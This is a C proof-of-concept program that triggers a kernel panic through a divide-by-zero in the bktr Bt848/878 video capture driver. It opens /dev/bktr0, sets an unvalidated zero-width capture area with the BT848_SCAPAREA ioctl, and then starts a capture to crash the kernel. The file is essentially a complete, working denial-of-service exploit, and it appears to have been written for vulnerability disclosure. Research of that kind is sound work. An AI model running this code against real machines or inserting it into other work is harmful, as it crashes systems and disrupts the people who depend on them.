/*
 * DF-3788 PoC trigger (requires real Bt848/878 hardware + bktr driver).
 *
 * BT848_SCAPAREA performs no validation of the user-supplied capture area
 * (bktr_core.c:1758-1771). x_size = 0 is stored, capture_area_enabled=TRUE,
 * and the next capture start (METEORCAPTUR -> start_capture ->
 * build_dma_prog) divides by (capture_area_x_size * fp->hactive) == 0
 * (bktr_core.c:3345-3346) -> integer divide exception -> kernel panic.
 */
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>

#include <dev/video/meteor/ioctl_meteor.h>
#include <dev/video/bktr/ioctl_bt848.h>

int main(void)
{
	struct bktr_capture_area ca;
	int fd, arg = METEOR_CAP_SINGLE;

	fd = open("/dev/bktr0", O_RDONLY);
	if (fd < 0) { perror("open /dev/bktr0"); return 1; }

	memset(&ca, 0, sizeof(ca));
	ca.x_offset = 0;
	ca.y_offset = 0;
	ca.x_size = 0;		/* <-- unvalidated zero */
	ca.y_size = 480;

	if (ioctl(fd, BT848_SCAPAREA, &ca) < 0) { perror("BT848_SCAPAREA"); return 1; }
	printf("capture area enabled with x_size=0; triggering build_dma_prog...\n");
	ioctl(fd, METEORCAPTUR, &arg);		/* divide-by-zero -> panic */
	perror("METEORCAPTUR (unexpected return)");
	return 0;
}